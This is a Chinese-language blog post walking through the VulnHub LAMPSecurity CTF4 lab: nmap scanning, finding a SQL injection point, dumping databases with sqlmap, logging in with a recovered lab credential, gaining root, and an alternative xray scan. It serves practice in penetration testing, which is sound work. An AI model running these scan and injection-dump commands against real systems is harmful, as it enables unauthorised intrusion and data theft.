官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
vulnhub-cft4靶场
LoveAsuka- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
vulnhub-cft4靶场
Vulnhub-ctf4
下载地址:https://www.vulnhub.com/entry/lampsecurity-ctf4,83/
一个小白，刚开始接触CTF，记录一下靶机。欢迎大佬们指正（轻喷TAT）
思路一：
0x00 信息搜集
由于是安装在虚拟机上的，所以先用nmap扫描网段获取虚拟机IP地址
物理机网段：192.168.11.0/24
nmap 192.168.11.0/24
找到ip：
扫描一下开放的端口：
nmap -A -sV 192.168.11.139
开放了22、25、80端口：
0x01 寻找漏洞
先查看80端口：
访问 192.168.11.139
手工在各个页面上寻找注入点
找到注入的页面：
http://192.168.11.139/index.html?page=blog&title=Blog&id=2
0x03 利用漏洞
sqlmap一把嗦
先获取database的信息：
sqlmap -u "http://192.168.11.139/index.html?page=blog&title=Blog&id=2" --dbs --dump --batch
直接就出来了，芜湖起飞
0x04 内网渗透
尝试用ssh登录，但是靶机ssh版本太低报错了，所以直接从虚拟机登录
achen：seventysixers
尝试提权：
直接root
思路二
1x00 信息搜集
1x01 寻找漏洞
直接上xray：
xray.exe webscan --basic-crawler http://192.168.11.139/index.html?page=blog&title=Blog&id=%E2%80%98%E2%80%99
剩下就是利用漏洞了
本文为 LoveAsuka 独立观点，未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
如需授权、对文章有疑问或需删除稿件，请联系 FreeBuf 客服小蜜蜂（微信：freebee1024）
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
![[封神台]Sql-Labs wp](https://image.3001.net/images/20210730/1627633375_6103b6df1aa7e10a5680c.jpg!small)
LoveAsuka LV.2
这家伙太懒了，还未填写个人描述！
- 2 文章数
- 0 关注者
常用命令以及工具-个人笔记
2022-11-08
文章目录